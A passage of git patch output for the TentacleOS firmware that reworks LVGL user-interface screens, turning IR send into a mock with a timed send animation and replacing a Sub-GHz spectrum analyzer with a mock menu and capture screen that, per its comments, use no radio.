"/assets/icons/ir_send_menu_icon.bin"); - ir_file_t ir_file; - ir_file_init(&ir_file); + waves_create(s_screen, LV_ALIGN_CENTER, 0, 6, LV_SYMBOL_OK, NULL); - if (ir_file_parse(buf, &ir_file) && ir_file.count > 0) { - ir_tx_init(); - ir_file_send(&ir_file.signals[0]); - msgbox_open(LV_SYMBOL_OK, "Signal sent!", "OK", NULL, NULL); - } else { - ESP_LOGW(TAG, "IR file parse failed or empty: %s", path); - msgbox_open(LV_SYMBOL_WARNING, "Failed to send", "OK", NULL, NULL); - } + s_status_label = lv_label_create(s_screen); + lv_obj_set_style_text_font(s_status_label, &lv_font_montserrat_14, 0); + lv_obj_set_style_text_align(s_status_label, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(s_status_label, LV_ALIGN_TOP_MID, 0, STATUS_Y); + set_status(STATUS_SENT, true); + + lv_obj_t *which = lv_label_create(s_screen); + lv_label_set_text(which, MOCK_SIGNALS[s_sel]); + lv_obj_set_style_text_color(which, current_theme.border_accent, 0); + lv_obj_set_style_text_font(which, &lv_font_montserrat_12, 0); + lv_obj_set_style_text_align(which, LV_TEXT_ALIGN_CENTER, 0); + lv_obj_align(which, LV_ALIGN_TOP_MID, 0, DETAIL_Y); - ir_file_free(&ir_file); - free(buf); + s_hint_label = ui_chrome_footer(s_screen, HINT_SENT); + + ui_screen_load(s_screen); } -static void build_list(void) { - if (s_items_cont != NULL) - lv_obj_clean(s_items_cont); - - scan_ir_files(); - - for (size_t i = 0; i < s_file_count; i++) { - lv_obj_t *item = lv_obj_create(s_items_cont); - lv_obj_set_size(item, ITEM_W, ITEM_H); - lv_obj_remove_flag(item, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(item, ITEM_RADIUS, 0); - lv_obj_set_style_bg_opa(item, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(item, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(item, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(item, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(item, ITEM_BORDER_NORMAL, 0); - lv_obj_set_style_border_color(item, current_theme.border_interface, 0); - lv_obj_set_style_pad_left(item, ITEM_PAD_H, 0); - lv_obj_set_style_pad_right(item, ITEM_PAD_H, 0); - lv_obj_set_flex_flow(item, LV_FLEX_FLOW_ROW); - lv_obj_set_flex_align(item, LV_FLEX_ALIGN_START, LV_FLEX_ALIGN_CENTER, LV_FLEX_ALIGN_CENTER); - lv_obj_set_style_pad_column(item, ITEM_PAD_COL, 0); - - lv_obj_t *lbl = lv_label_create(item); - lv_label_set_text(lbl, s_file_names[i]); - lv_obj_set_style_text_color(lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(lbl, &lv_font_montserrat_12, 0); - lv_obj_set_flex_grow(lbl, ITEM_FLEX_GROW); - lv_label_set_long_mode(lbl, LV_LABEL_LONG_SCROLL_CIRCULAR); - - lv_obj_t *arrow = lv_label_create(item); - lv_label_set_text(arrow, LV_SYMBOL_PLAY); - lv_obj_set_style_text_color(arrow, current_theme.border_accent, 0); - lv_obj_set_style_text_font(arrow, &lv_font_montserrat_12, 0); - - s_item_objs[i] = item; - } +static void start_send(void) { + stop_send_timer(); + s_view = VIEW_SENDING; + s_send_start = lv_tick_get(); + ESP_LOGI(TAG, "mock send: %s", MOCK_SIGNALS[s_sel]); + build_sending(); + s_send_timer = lv_timer_create(send_done_cb, SENDING_MS, NULL); + lv_timer_set_repeat_count(s_send_timer, 1); +} - if (s_file_count == 0) { - lv_obj_t *empty = lv_label_create(s_items_cont); - lv_label_set_text(empty, "No .ir files found"); - lv_obj_set_style_text_color(empty, current_theme.border_inactive, 0); - lv_obj_set_style_text_font(empty, &lv_font_montserrat_12, 0); - } +static void send_done_cb(lv_timer_t *t) { + (void)t; + s_send_timer = NULL; + if (lv_screen_active() != s_screen) + return; + s_view = VIEW_SENT; + ui_feedback(UI_FB_WRITE); + show_sent(); +} - update_selection(); +static void sending_tick(void) { + if (s_status_label == NULL) + return; + int dots = ((lv_tick_get() - s_send_start) / DOT_CYCLE_MS) % 4; + char buf[24]; + snprintf(buf, + sizeof(buf), + "%s%s", + STATUS_SENDING, + dots == 1 ? "." + : dots == 2 ? ".." + : dots == 3 ? "..." + : ""); + lv_label_set_text(s_status_label, buf); } static void nav_timer_cb(lv_timer_t *t) { @@ -304,130 +282,83 @@ static void nav_timer_cb(lv_timer_t *t) { } if (ui_input_is_locked()) return; - if (msgbox_is_open()) - return; - bool up = up_button_is_down(); - bool down = down_button_is_down(); + if (s_view == VIEW_SENDING) + sending_tick(); + + bool up = ui_btn_up(); + bool down = ui_btn_down(); + bool left = ui_btn_left(); + bool right = ui_btn_right(); bool ok = ok_button_is_down(); bool back = back_button_is_down(); - if (down && !s_btn_down_last && s_file_count > 0) { - s_selected = (s_selected + 1) % s_file_count; - update_selection(); - } - if (up && !s_btn_up_last && s_file_count > 0) { - s_selected = (s_selected == 0) ? s_file_count - 1 : s_selected - 1; - update_selection(); - } - if (ok && !s_btn_ok_last) { - send_selected(); - } - if (back && !s_btn_back_last) { - ui_switch_screen(SCREEN_IR_MENU); + switch (s_view) { + case VIEW_LIST: + if (down && !s_btn_down_last) + menu_component_next(&s_menu); + if (up && !s_btn_up_last) + menu_component_prev(&s_menu); + if ((ok && !s_btn_ok_last) || (right && !s_btn_right_last)) { + s_sel = menu_component_get_selected(&s_menu); + start_send(); + reset_latch(); + return; + } + if ((back && !s_btn_back_last) || (left && !s_btn_left_last)) + ui_switch_screen(SCREEN_IR_MENU); + break; + + case VIEW_SENDING: + if (back && !s_btn_back_last) { + stop_send_timer(); + s_view = VIEW_LIST; + build_list(); + reset_latch(); + return; + } + break; + + case VIEW_SENT: + if (right && !s_btn_right_last) { + start_send(); + reset_latch(); + return; + } + if (back && !s_btn_back_last) { + s_view = VIEW_LIST; + build_list(); + reset_latch(); + return; + } + break; + + default: + break; } s_btn_up_last = up; s_btn_down_last = down; + s_btn_left_last = left; + s_btn_right_last = right; s_btn_ok_last = ok; s_btn_back_last = back; } void ui_ir_send_open(void) { + stop_send_timer(); if (s_screen != NULL) { lv_obj_del(s_screen); s_screen = NULL; } - - s_selected = 0; - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_set_style_bg_opa(s_screen, LV_OPA_COVER, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_border_width(s_screen, OUTER_BORDER, 0); - lv_obj_set_style_border_color(s_screen, current_theme.border_interface, 0); - lv_obj_set_style_pad_all(s_screen, 0, 0); - - lv_obj_t *top_area = lv_obj_create(s_screen); - lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); - lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); - lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_W, 0); - lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); - lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); - lv_obj_set_style_radius(top_area, 0, 0); - lv_obj_set_style_pad_all(top_area, 0, 0); - - lv_obj_t *title_bar = lv_obj_create(top_area); - lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); - lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); - lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); - lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); - lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); - lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); - lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); - lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); - lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_W, 0); - lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); - - lv_obj_t *title_lbl = lv_label_create(title_bar); - lv_label_set_text(title_lbl, "IR SEND"); - lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); - lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); - lv_obj_center(title_lbl); - - int32_t items_y = TOP_BORDER_H + ITEMS_CONT_OFFSET_Y; - int32_t items_h = LCD_V_RES - items_y - OUTER_BORDER - ITEMS_CONT_OFFSET_Y; - - s_items_cont = lv_obj_create(s_screen); - lv_obj_set_size(s_items_cont, ITEM_W + ITEMS_CONT_PAD * 4, items_h); - lv_obj_align(s_items_cont, LV_ALIGN_TOP_LEFT, ITEMS_CONT_OFFSET_X, items_y); - lv_obj_set_style_bg_opa(s_items_cont, LV_OPA_TRANSP, 0); - lv_obj_set_style_border_width(s_items_cont, 0, 0); - lv_obj_set_style_pad_all(s_items_cont, ITEMS_CONT_PAD, 0); - lv_obj_set_style_pad_row(s_items_cont, ITEMS_CONT_PAD_ROW, 0); - lv_obj_set_flex_flow(s_items_cont, LV_FLEX_FLOW_COLUMN); - lv_obj_set_scrollbar_mode(s_items_cont, LV_SCROLLBAR_MODE_OFF); - lv_obj_set_scroll_snap_y(s_items_cont, LV_SCROLL_SNAP_START); - - int32_t track_x = LCD_H_RES - OUTER_BORDER - SCROLL_TRACK_X_FROM_RIGHT; - s_track_y_start = items_y + SCROLL_BAR_TRACK_OFF; - s_track_h = items_h - SCROLL_BAR_TRACK_OFF * 2; - - // Points must outlive this function (used by lv_line) - static lv_point_precise_t track_pts[2]; - track_pts[0].x = 0; - track_pts[0].y = 0; - track_pts[1].x = 0; - track_pts[1].y = s_track_h; - - lv_obj_t *track = lv_line_create(s_screen); - lv_line_set_points(track, track_pts, 2); - lv_obj_set_pos(track, track_x, s_track_y_start); - lv_obj_set_style_line_color(track, current_theme.border_inactive, 0); - lv_obj_set_style_line_opa(track, LV_OPA_COVER, 0); - lv_obj_set_style_line_width(track, SCROLL_BAR_TRACK_W, 0); - lv_obj_set_style_line_dash_width(track, SCROLL_BAR_TRACK_W + 1, 0); - lv_obj_set_style_line_dash_gap(track, SCROLL_BAR_TRACK_W + 1, 0); - - // Cached across calls: asset descriptor is constant after first load - static lv_image_dsc_t *sb_dsc = NULL; - if (sb_dsc == NULL) - sb_dsc = assets_get("/assets/icons/slide_bar_v.bin"); - - s_scroll_bar = lv_image_create(s_screen); - if (sb_dsc != NULL) - lv_image_set_src(s_scroll_bar, sb_dsc); - - lv_obj_set_pos(s_scroll_bar, track_x - SCROLL_BAR_IMG_OFF, s_track_y_start); - lv_obj_move_foreground(s_scroll_bar); + s_status_label = NULL; + s_hint_label = NULL; + s_view = VIEW_LIST; + s_sel = 0; + reset_latch(); build_list(); - if (s_nav_timer == NULL) { - s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_PERIOD_MS, NULL); - } - - lv_screen_load(s_screen); -} \ No newline at end of file + if (s_nav_timer == NULL) + s_nav_timer = lv_timer_create(nav_timer_cb, NAV_TIMER_MS, NULL); +} From e92bb1b116f1ce17fc6ada51ad8758f47197baf2 Mon Sep 17 00:00:00 2001 From: luis_thiago <95657866+lthiagovs@users.noreply.github.com> Date: Mon, 20 Jul 2026 16:04:26 -0300 Subject: [PATCH 129/572] feat(ui): replace spectrum screen with mock menu + read capture --- .../ui/screens/SubGhz/subghz_spectrum_ui.c | 198 ------ .../include/subghz_menu_ui.h} | 17 +- .../ui/screens/subghz/subghz_menu_ui.c | 446 ++++++++++++++ .../ui/screens/subghz/subghz_read_ui.c | 579 ++++++++++++++++++ 4 files changed, 1037 insertions(+), 203 deletions(-) delete mode 100644 firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c rename firmware_p4/components/Applications/ui/screens/{SubGhz/include/subghz_spectrum_ui.h => subghz/include/subghz_menu_ui.h} (65%) create mode 100644 firmware_p4/components/Applications/ui/screens/subghz/subghz_menu_ui.c create mode 100644 firmware_p4/components/Applications/ui/screens/subghz/subghz_read_ui.c diff --git a/firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c b/firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c deleted file mode 100644 index ec6f74584..000000000 --- a/firmware_p4/components/Applications/ui/screens/SubGhz/subghz_spectrum_ui.c +++ /dev/null @@ -1,198 +0,0 @@ -// Copyright (c) 2025 HIGH CODE LLC -// -// TentacleOS is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, either version 3 of the License, or -// (at your option) any later version. -// -// TentacleOS is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with TentacleOS. If not, see . - -#include "subghz_spectrum_ui.h" - -#include - -#include "esp_log.h" -#include "core/lv_group.h" -#include "lv_conf_internal.h" - -#include "ui_theme.h" -#include "header_ui.h" -#include "footer_ui.h" -#include "ui_manager.h" -#include "lv_port_indev.h" -#include "subghz_spectrum.h" - -static const char *TAG = "SUBGHZ_SPECTRUM_UI"; - -#define SPECTRUM_CENTER_FREQ 433920000 -#define SPECTRUM_SPAN_HZ 2000000 - -#define CHART_W 220 -#define CHART_H 120 -#define CHART_OFFSET_Y (-10) -#define CHART_BORDER_W 1 -#define CHART_LINE_W 2 -#define CHART_RANGE_MIN 0 -#define CHART_RANGE_MAX 100 -#define CHART_ITEM_BG_OPA 80 - -#define RSSI_CLAMP_MIN 0 -#define RSSI_CLAMP_MAX 100 -#define RSSI_FLOOR_DBM (-130.0f) -#define RSSI_PEAK_THRESHOLD_DBM (-60.0f) - -#define LABEL_OFFSET_Y (-35) -#define UPDATE_TIMER_PERIOD_MS 50 - -#define PEAK_LABEL_DEFAULT "Peak: --- dBm" -#define FREQ_LABEL_DEFAULT "433.92 MHz" -#define PEAK_LABEL_FMT "Peak: %.1f dBm" -#define FREQ_LABEL_FMT "%.2f MHz" -#define PEAK_LABEL_BUF_SIZE 32 -#define FREQ_LABEL_BUF_SIZE 32 - -static lv_obj_t *s_screen = NULL; -static lv_obj_t *s_chart = NULL; -static lv_chart_series_t *s_ser_rssi = NULL; -static lv_timer_t *s_update_timer = NULL; -static lv_obj_t *s_lbl_rssi = NULL; -static lv_obj_t *s_lbl_freq = NULL; - -static int32_t s_chart_points[SPECTRUM_SAMPLES]; - -static void update_spectrum_cb(lv_timer_t *t); -static void on_screen_key_event(lv_event_t *e); - -static void update_spectrum_cb(lv_timer_t *t) { - if (s_chart == NULL || s_ser_rssi == NULL) - return; - - subghz_spectrum_line_t line; - if (!subghz_spectrum_get_line(&line)) - return; - - float max_dbm = RSSI_FLOOR_DBM; - uint32_t peak_freq = line.start_freq; - - for (int i = 0; i < SPECTRUM_SAMPLES; i++) { - int32_t val = (int32_t)(line.dbm_values[i] + (-RSSI_FLOOR_DBM)); - if (val < RSSI_CLAMP_MIN) - val = RSSI_CLAMP_MIN; - if (val > RSSI_CLAMP_MAX) - val = RSSI_CLAMP_MAX; - s_chart_points[i] = val; - - if (line.dbm_values[i] > max_dbm) { - max_dbm = line.dbm_values[i]; - peak_freq = line.start_freq + (uint32_t)(i * line.step_hz); - } - } - - lv_chart_set_ext_y_array(s_chart, s_ser_rssi, s_chart_points); - lv_chart_refresh(s_chart); - - if (s_lbl_rssi != NULL) { - char buf[PEAK_LABEL_BUF_SIZE]; - snprintf(buf, sizeof(buf), PEAK_LABEL_FMT, max_dbm); - lv_label_set_text(s_lbl_rssi, buf); - } - - if (s_lbl_freq != NULL) { - char buf[FREQ_LABEL_BUF_SIZE]; - snprintf(buf, sizeof(buf), FREQ_LABEL_FMT, (double)(peak_freq / 1000000.0f)); - lv_label_set_text(s_lbl_freq, buf); - } -} - -static void on_screen_key_event(lv_event_t *e) { - if (lv_event_get_code(e) != LV_EVENT_KEY) - return; - - if (lv_event_get_key(e) != LV_KEY_ESC) - return; - - if (s_update_timer != NULL) { - lv_timer_del(s_update_timer); - s_update_timer = NULL; - } - - s_chart = NULL; - s_ser_rssi = NULL; - s_lbl_rssi = NULL; - s_lbl_freq = NULL; - - subghz_spectrum_stop(); - ui_switch_screen(SCREEN_MENU); -} - -void ui_subghz_spectrum_open(void) { - subghz_spectrum_start(SPECTRUM_CENTER_FREQ, SPECTRUM_SPAN_HZ); - - if (s_screen != NULL) { - lv_obj_del(s_screen); - s_screen = NULL; - } - - if (s_update_timer != NULL) { - lv_timer_del(s_update_timer); - s_update_timer = NULL; - } - - s_screen = lv_obj_create(NULL); - lv_obj_set_style_bg_color(s_screen, current_theme.screen_base, 0); - lv_obj_remove_flag(s_screen, LV_OBJ_FLAG_SCROLLABLE); - - s_chart = lv_chart_create(s_screen); - lv_obj_set_size(s_chart, CHART_W, CHART_H); - lv_obj_align(s_chart, LV_ALIGN_CENTER, 0, CHART_OFFSET_Y); - lv_chart_set_type(s_chart, LV_CHART_TYPE_LINE); - lv_chart_set_point_count(s_chart, SPECTRUM_SAMPLES); - lv_chart_set_range(s_chart, LV_CHART_AXIS_PRIMARY_Y, CHART_RANGE_MIN, CHART_RANGE_MAX); - lv_chart_set_update_mode(s_chart, LV_CHART_UPDATE_MODE_CIRCULAR); - lv_obj_set_style_width(s_chart, 0, LV_PART_INDICATOR); - lv_obj_set_style_height(s_chart, 0, LV_PART_INDICATOR); - lv_obj_set_style_line_width(s_chart, CHART_LINE_W, LV_PART_ITEMS); - lv_obj_set_style_bg_color(s_chart, current_theme.bg_primary, 0); - lv_obj_set_style_border_color(s_chart, current_theme.border_interface, 0); - lv_obj_set_style_border_width(s_chart, CHART_BORDER_W, 0); - lv_obj_set_style_bg_opa(s_chart, CHART_ITEM_BG_OPA, LV_PART_ITEMS); - lv_obj_set_style_bg_color(s_chart, current_theme.border_accent, LV_PART_ITEMS); - lv_obj_set_style_bg_grad_color(s_chart, current_theme.bg_secondary, LV_PART_ITEMS); - lv_obj_set_style_bg_grad_dir(s_chart, LV_GRAD_DIR_VER, LV_PART_ITEMS); - lv_obj_set_style_line_dash_width(s_chart, 0, LV_PART_MAIN); - lv_obj_set_style_line_color(s_chart, current_theme.border_inactive, LV_PART_MAIN); - - s_ser_rssi = lv_chart_add_series(s_chart, current_theme.border_accent, LV_CHART_AXIS_PRIMARY_Y); - - s_lbl_freq = lv_label_create(s_screen); - lv_label_set_text(s_lbl_freq, FREQ_LABEL_DEFAULT); - lv_obj_set_style_text_font(s_lbl_freq, &lv_font_montserrat_12, 0); - lv_obj_set_style_text_color(s_lbl_freq, current_theme.text_main, 0); - lv_obj_align(s_lbl_freq, LV_ALIGN_BOTTOM_LEFT, 0, LABEL_OFFSET_Y); - - s_lbl_rssi = lv_label_create(s_screen); - lv_label_set_text(s_lbl_rssi, PEAK_LABEL_DEFAULT); - lv_obj_set_style_text_font(s_lbl_rssi, &lv_font_montserrat_12, 0); - lv_obj_set_style_text_color(s_lbl_rssi, current_theme.border_accent, 0); - lv_obj_align(s_lbl_rssi, LV_ALIGN_BOTTOM_RIGHT, 0, LABEL_OFFSET_Y); - - header_ui_create(s_screen); - footer_ui_create(s_screen); - - s_update_timer = lv_timer_create(update_spectrum_cb, UPDATE_TIMER_PERIOD_MS, NULL); - - lv_obj_add_event_cb(s_screen, on_screen_key_event, LV_EVENT_KEY, NULL); - - if (main_group != NULL) { - lv_group_add_obj(main_group, s_screen); - lv_group_focus_obj(s_screen); - } - - lv_screen_load(s_screen); -} \ No newline at end of file diff --git a/firmware_p4/components/Applications/ui/screens/SubGhz/include/subghz_spectrum_ui.h b/firmware_p4/components/Applications/ui/screens/subghz/include/subghz_menu_ui.h similarity index 65% rename from firmware_p4/components/Applications/ui/screens/SubGhz/include/subghz_spectrum_ui.h rename to firmware_p4/components/Applications/ui/screens/subghz/include/subghz_menu_ui.h index dcb7c2a9d..4405ffabb 100644 --- a/firmware_p4/components/Applications/ui/screens/SubGhz/include/subghz_spectrum_ui.h +++ b/firmware_p4/components/Applications/ui/screens/subghz/include/subghz_menu_ui.h @@ -13,18 +13,25 @@ // You should have received a copy of the GNU General Public License // along with TentacleOS. If not, see . -#ifndef SUBGHZ_SPECTRUM_UI_H -#define SUBGHZ_SPECTRUM_UI_H +#ifndef UI_SUBGHZ_MENU_H +#define UI_SUBGHZ_MENU_H #ifdef __cplusplus extern "C" { #endif -/** @brief Open the SubGHz spectrum analyzer screen. */ -void ui_subghz_spectrum_open(void); +/** @brief Open the Sub-GHz menu screen (MOCK): Read / Read RAW / Analyzer / Brute / Saved. No + * radio. */ +void ui_subghz_menu_open(void); + +/** + * @brief Open the Sub-GHz "Read" capture screen (MOCK): scanning waves -> canned + * captured signal -> save prompt. No radio. + */ +void ui_subghz_read_open(void); #ifdef __cplusplus } #endif -#endif // SUBGHZ_SPECTRUM_UI_H +#endif // UI_SUBGHZ_MENU_H diff --git a/firmware_p4/components/Applications/ui/screens/subghz/subghz_menu_ui.c b/firmware_p4/components/Applications/ui/screens/subghz/subghz_menu_ui.c new file mode 100644 index 000000000..37d7551d5 --- /dev/null +++ b/firmware_p4/components/Applications/ui/screens/subghz/subghz_menu_ui.c @@ -0,0 +1,446 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "subghz_menu_ui.h" + +#include "esp_log.h" +#include "lvgl.h" +#include "st7789.h" + +#include "buttons_gpio.h" +#include "menu_component_ui.h" +#include "msgbox_ui.h" +#include "sigwave_ui.h" +#include "ui_chrome.h" +#include "ui_manager.h" +#include "ui_theme.h" + +static const char *TAG = "SUBGHZ_UI"; + +#define NAV_TIMER_MS 50 +#define FADE_MS 200 + +#define OUTER_BORDER 4 +#define TOP_BORDER_H 46 +#define TOP_AREA_BORDER_WIDTH 3 +#define TITLE_BAR_W 170 +#define TITLE_BAR_H 30 +#define TITLE_BAR_RADIUS 12 +#define TITLE_BAR_BORDER_WIDTH 2 + +#define BAR_COUNT 16 +#define BAR_W 8 +#define BAR_GAP 4 +#define BAR_MIN_H 6 +#define BAR_MAX_H 96 +#define BAR_BASELINE_Y 188 +#define FREQ_CYCLE_MS 400 + +#define CARD_W 162 +#define CARD_H 82 +#define CARD_RISE_PX 70 +#define CARD_RISE_MS 450 + +static const struct { + const char *name; + const char *icon; + bool capture; +} ITEMS[] = { + {"Read", "/assets/icons/signal_icon.bin", true}, + {"Read RAW", "/assets/icons/signal_icon.bin", true}, + {"Frequency Analyzer", "/assets/icons/search_menu_icon.bin", false}, + {"Brute Force", "/assets/icons/burst_menu_icon.bin", true}, + {"Saved", "/assets/icons/saved_icon.bin", false}, +}; +#define ITEM_COUNT ((int)(sizeof(ITEMS) / sizeof(ITEMS[0]))) + +#define IDX_ANALYZER 2 +#define IDX_SAVED 4 + +static const char *SAVED_SIGS[] = {"Gate_433", "Doorbell", "TPMS_FL", "Garage"}; +#define SAVED_COUNT ((int)(sizeof(SAVED_SIGS) / sizeof(SAVED_SIGS[0]))) + +static const char *ANALYZER_FREQS[] = {"433.92 MHz", "868.30 MHz", "315.00 MHz"}; +#define ANALYZER_FREQ_COUNT ((int)(sizeof(ANALYZER_FREQS) / sizeof(ANALYZER_FREQS[0]))) + +typedef enum { + VIEW_LIST = 0, + VIEW_ANALYZER, + VIEW_SAVED, + VIEW_SAVED_INFO, +} view_t; + +static lv_obj_t *s_screen = NULL; +static menu_component_t s_menu; +static lv_timer_t *s_nav_timer = NULL; +static lv_timer_t *s_freq_timer = NULL; +static view_t s_view = VIEW_LIST; +static int s_saved_sel = 0; + +static lv_obj_t *s_freq_lbl = NULL; +static int s_freq_idx = 0; + +static bool s_up_last = false; +static bool s_down_last = false; +static bool s_ok_last = false; +static bool s_back_last = false; + +static void nav_timer_cb(lv_timer_t *t); +static void build_screen(void); + +static void stop_freq_timer(void) { + if (s_freq_timer != NULL) { + lv_timer_delete(s_freq_timer); + s_freq_timer = NULL; + } +} + +static void opa_anim_cb(void *var, int32_t v) { + lv_obj_set_style_opa((lv_obj_t *)var, (lv_opa_t)v, 0); +} + +static void fade_in(lv_obj_t *obj, uint32_t duration_ms) { + lv_obj_set_style_opa(obj, LV_OPA_TRANSP, 0); + lv_anim_t a; + lv_anim_init(&a); + lv_anim_set_var(&a, obj); + lv_anim_set_exec_cb(&a, opa_anim_cb); + lv_anim_set_values(&a, LV_OPA_TRANSP, LV_OPA_COVER); + lv_anim_set_duration(&a, duration_ms); + lv_anim_set_path_cb(&a, lv_anim_path_ease_out); + lv_anim_start(&a); +} + +static void build_title(const char *text) { + lv_obj_t *top_area = lv_obj_create(s_screen); + lv_obj_set_size(top_area, LCD_H_RES - OUTER_BORDER * 2, TOP_BORDER_H); + lv_obj_align(top_area, LV_ALIGN_TOP_MID, 0, 0); + lv_obj_remove_flag(top_area, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_bg_opa(top_area, LV_OPA_TRANSP, 0); + lv_obj_set_style_border_width(top_area, TOP_AREA_BORDER_WIDTH, 0); + lv_obj_set_style_border_color(top_area, current_theme.border_interface, 0); + lv_obj_set_style_border_side(top_area, LV_BORDER_SIDE_BOTTOM, 0); + lv_obj_set_style_radius(top_area, 0, 0); + lv_obj_set_style_pad_all(top_area, 0, 0); + + lv_obj_t *title_bar = lv_obj_create(top_area); + lv_obj_set_size(title_bar, TITLE_BAR_W, TITLE_BAR_H); + lv_obj_align(title_bar, LV_ALIGN_CENTER, 0, 0); + lv_obj_remove_flag(title_bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_style_radius(title_bar, TITLE_BAR_RADIUS, 0); + lv_obj_set_style_bg_opa(title_bar, LV_OPA_COVER, 0); + lv_obj_set_style_bg_color(title_bar, current_theme.bg_primary, 0); + lv_obj_set_style_bg_grad_color(title_bar, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(title_bar, LV_GRAD_DIR_HOR, 0); + lv_obj_set_style_border_width(title_bar, TITLE_BAR_BORDER_WIDTH, 0); + lv_obj_set_style_border_color(title_bar, current_theme.border_accent, 0); + + lv_obj_t *title_lbl = lv_label_create(title_bar); + lv_label_set_text(title_lbl, text); + lv_obj_set_style_text_color(title_lbl, current_theme.text_main, 0); + lv_obj_set_style_text_font(title_lbl, &lv_font_montserrat_14, 0); + lv_obj_center(title_lbl); +} + +static void bar_height_cb(void *var, int32_t v) { + lv_obj_t *bar = (lv_obj_t *)var; + lv_obj_set_height(bar, v); + lv_obj_set_y(bar, BAR_BASELINE_Y - v); +} + +static void freq_cycle_cb(lv_timer_t *t) { + if (lv_screen_active() != s_screen || s_view != VIEW_ANALYZER) { + lv_timer_delete(t); + s_freq_timer = NULL; + return; + } + s_freq_idx = (s_freq_idx + 1) % ANALYZER_FREQ_COUNT; + if (s_freq_lbl) + lv_label_set_text(s_freq_lbl, ANALYZER_FREQS[s_freq_idx]); +} + +#define SIGNAL_STRONG_COLOR 0x00E676 + +static void build_analyzer(void) { + ui_chrome_header(s_screen, "ANALYZER", "/assets/icons/search_menu_icon.bin"); + + s_freq_idx = 0; + s_freq_lbl = lv_label_create(s_screen); + lv_label_set_text(s_freq_lbl, ANALYZER_FREQS[0]); + lv_obj_set_style_text_color(s_freq_lbl, current_theme.border_accent, 0); + lv_obj_set_style_text_font(s_freq_lbl, &lv_font_montserrat_14, 0); + lv_obj_align(s_freq_lbl, LV_ALIGN_TOP_MID, 0, UI_CHROME_HEADER_H + 14); + + int total_w = BAR_COUNT * BAR_W + (BAR_COUNT - 1) * BAR_GAP; + int x0 = (LCD_H_RES - total_w) / 2; + + static lv_point_precise_t base_pts[2]; + base_pts[0].x = 0; + base_pts[0].y = 0; + base_pts[1].x = total_w; + base_pts[1].y = 0; + lv_obj_t *baseline = lv_line_create(s_screen); + lv_line_set_points(baseline, base_pts, 2); + lv_obj_set_pos(baseline, x0, BAR_BASELINE_Y); + lv_obj_set_style_line_color(baseline, current_theme.border_inactive, 0); + lv_obj_set_style_line_opa(baseline, LV_OPA_50, 0); + lv_obj_set_style_line_width(baseline, 2, 0); + lv_obj_set_style_line_dash_width(baseline, 4, 0); + lv_obj_set_style_line_dash_gap(baseline, 4, 0); + + for (int i = 0; i < BAR_COUNT; i++) { + int peak = BAR_MAX_H - (i % 5) * 12; + + lv_obj_t *bar = lv_obj_create(s_screen); + lv_obj_remove_flag(bar, LV_OBJ_FLAG_SCROLLABLE); + lv_obj_set_size(bar, BAR_W, BAR_MIN_H); + lv_obj_set_style_radius(bar, 2, 0); + lv_obj_set_style_bg_opa(bar, LV_OPA_COVER, 0); + + lv_color_t bar_color; + if (peak >= (BAR_MAX_H - 12)) + bar_color = lv_color_hex(SIGNAL_STRONG_COLOR); + else if (peak >= (BAR_MAX_H - 36)) + bar_color = current_theme.border_accent; + else + bar_color = current_theme.border_inactive; + lv_obj_set_style_bg_color(bar, bar_color, 0); + lv_obj_set_style_bg_grad_color(bar, current_theme.bg_secondary, 0); + lv_obj_set_style_bg_grad_dir(bar, LV_GRAD_DIR_VER, 0); + lv_obj_set_style_border_width(bar, 0, 0); + + lv_obj_set_pos(bar, x0 + i * (BAR_W + BAR_GAP), BAR_BASELINE_Y 